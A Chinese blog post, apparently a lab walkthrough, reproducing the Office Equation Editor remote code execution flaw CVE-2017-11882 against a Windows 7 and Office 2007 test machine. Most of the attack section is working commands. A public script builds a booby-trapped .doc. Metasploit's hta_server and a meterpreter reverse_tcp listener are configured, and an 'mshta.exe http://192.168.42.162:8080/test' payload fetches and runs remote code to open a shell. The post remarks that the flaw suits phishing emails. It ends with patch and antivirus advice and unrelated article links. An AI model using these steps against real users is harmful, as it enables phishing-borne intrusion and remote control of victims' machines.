CVE-2017-11882复现-office命令执行

时间:2022-02-22 00:28:23

0x01 前言

11月14日,微软按照惯例发布了11月的安全更新,随后不久,安全公司EMBEDI在官方博客上公开了其向微软提交的编号为CVE-2017-11882的Office远程代码执行漏洞:

https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

讲述了他们如何发现这个漏洞的过程,并揭露了该漏洞的部分技术细节,不过没有公开漏洞验证代码(PoC)。

我们根据EMBEDI的这篇报告,并结合自身的分析,第一时间构造出了可以弹出计算器的PoC,并得出结论:该漏洞的利用代码非常简单而且稳定,极易用于黑客攻击,特别是钓鱼邮件攻击:利用漏洞可以很容易构造出包括恶意代码的Office文档,点击后无需任何用户交互就可以远程执行任意代码。同时,漏洞影响所有的Microsoft Office版本以及Office 365。意识到问题的严重性之后,我们发布了CVE-2017-11882的第一次预警通告。

0x02 测试环境

攻击机:kali2. ip:192.168.42.162
受害机:win7 office2007

  使用 Ridter 师傅改进过的脚本:

https://github.com/Ridter/CVE-2017-11882/

生成漏洞 doc 文件,首先简单的测试一下是否能够弹出计算器,命令如下:

python Command_CVE--.py -c "cmd.exe /c calc.exe" -o test.doc

CVE-2017-11882复现-office命令执行

既然能够实现弹出,那我们可以构造执行 powershell 直接获取 msf 会话

0x03 深入利用

在利用前需要了解下什么是hta,HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。它的程序码可以像 HTML 一样被编辑和检查。在 hta 文件中 VBScript 和 JavaScript 的程序码可以任意混合。HTA 虽然用 HTML、JS 和 CSS 编写,却比普通网页权限大得多。它具有桌面程序的所有权限(读写文件、操作注册表等)。hta 本来就是被设计为桌面程序的。

1.利用msf生成powershell 的利用脚本

选择利用模块,设置下路径

use exploit/windows/misc/hta_server
set URIPATH test

CVE-2017-11882复现-office命令执行

选择监听模块,设置下本机ip,运行

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.42.162
exploit

CVE-2017-11882复现-office命令执行

CVE-2017-11882复现-office命令执行

这里使用的是 43 字符限制的脚本 ( github 上还有 109 字符限制的脚本),命令长度有 43 字符的限制,可以使用 URIPATH 设置路径,尽量短一点,避免加起来超过 43 字符,这里生成的代码 payload 是:

mshta.exe http://192.168.42.162:8080/test

2.使用脚本生成漏洞doc文件,代码如下:

python Command43b_CVE--.py -c "mshta.exe http://192.168.42.162:8080/test" -o exp.doc

测试机打开 doc 文件后就会通过 mshta 去执行链接中的 hta 嵌套的 VBS 代码,从而执行 powershell 命令,随便用一个浏览器打开链接,就可以下载到 test.hta,文件内容如下:

CVE-2017-11882复现-office命令执行

3、测试机打开文件后,攻击机就会获取到 msf 会话。

CVE-2017-11882复现-office命令执行

现在我们已经获取到了win7的shell,这里要注意下,因为我们这里结合了powershell来获取msf的回话,然而xp系统上默认没有powershell,所以在xp上需要先安装powershell才能得到回话。下载powershell通过命令执行也可以下载安装,详情请百度下,这里就不过多的累赘了。

0x04 修复方案

目前微软公司已经发布了安全补丁下载微软对此漏洞补丁:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

大家可以安装补丁修复该漏洞并开启自动更新功能,另外大部分杀软已经采取了防御措施,经测试部分杀软直接把 mshta、rundll32、powershell 执行的命令都会做相关拦截,并提示给用户这是恶意操作。

CVE-2017-11882复现-office命令执行

CVE-2017-11882复现-office命令执行的更多相关文章

  1. 漏洞复现-CVE-2014-3120-ElasticSearch 命令执行漏洞

        0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 < ElasticSearch 1.2的版本 ...

  2. CVE 2021-44228 Log4j-2命令执行复现及分析

    12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...

  3. tomcat7&period;x远程命令执行(CVE-2017-12615)漏洞漏洞复现

    tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现 一.漏洞前言 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017 ...

  4. struts2&lpar;s2-052&rpar;远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  5. Weblogic wls9&lowbar;async&lowbar;response 反序列化远程命令执行漏洞(CVE-2019-2725)复现

    一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...

  6. D-Link service&period;cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于*证券交易所挂牌上市,为*第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

  7. DHCP命令执行CVE-2018-1111漏洞复现

    DHCP命令执行_CVE-2018-1111漏洞复现 一.漏洞描述 在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了 ...

  8. Apache struts2远程命令执行&lowbar;CVE-2017-9805&lpar;S2-052&rpar;漏洞复现

    Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现 一.漏洞概述 Apache Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 RES ...

  9. Apache struts2 Freemarker标签远程命令执行&lowbar;CVE-2017-12611&lpar;S2-053&rpar;漏洞复现

    Apache struts2 Freemarker标签远程命令执行_CVE-2017-12611(S2-053)漏洞复现 一.漏洞描述 Struts2在使用Freemarker模块引擎的时候,同时允许 ...

随机推荐

  1. js中数组连接concat&lpar;&rpar;

    数组连接concat() concat() 方法用于连接两个或多个数组.此方法返回一个新数组,不改变原来的数组. 语法 arrayObject.concat(array1,array2,...,arr ...

  2. spring 学习

    一.spring框架介绍 Spring 是一个开源框架,是为了解决企业应用程序开发复杂性而创建的.框架的主要优势之一就是其分层架构,分层架构允许您选择使用哪一个组件,同时为 J2EE 应用程序开发提供 ...

  3. expert C Programing notes

    1.寻常算术转换 在运算中 如果其中一个操作数是long double 则另一个转为long double,其次 如果有一个为double 则另一个转为double,再次 float . unsign ...

  4. Javascript 中的一些关于时间的操作【转】

    1.时间对象和一些简单操作函数 var myDate = new Date(); myDate.getYear();       //获取当前年份(2位) myDate.getFullYear(); ...

  5. android 渐变展示启动屏

    启动界面Splash Screen在应用程序是很常用的,往往在启动界面中显示产品Logo.公司Logo或者开发者信息,如果应用程序启动时间比较长,那么启动界面就是一个很好的东西,可以让用户耐心等待这段 ...

  6. 第十二届浙江省大学生程序设计大赛-May Day Holiday 分类: 比赛 2015-06-26 14&colon;33 10人阅读 评论&lpar;0&rpar; 收藏

    May Day Holiday Time Limit: 2 Seconds Memory Limit: 65536 KB As a university advocating self-learnin ...

  7. Liniux系统下目录的权限意义

    访问者及其基本权限 Linux系统内的文件访问者有三种身份,分别是: a) 文件和文件目录的所有者: u---User(所有权);b) 文件和文件目录的所有者所在的组的用户: g---Group;c) ...

  8. Golang中的信号处理

    信号类型 个平台的信号定义或许有些不同.下面列出了POSIX中定义的信号. Linux 使用34-64信号用作实时系统中. 命令 man 7 signal 提供了官方的信号介绍. 在POSIX.1-1 ...

  9. dev gridControl 自定义绘制列头颜色

    1.添加事件CustomDrawColumnHeader private void gvw1_CustomDrawColumnHeader(object sender, DevExpress.Xtra ...

  10. HDU - 4734 F&lpar;x&rpar; (数位dp)

    For a decimal number x with n digits (A nA n-1A n-2 ... A 2A 1), we define its weight as F(x) = A n  ...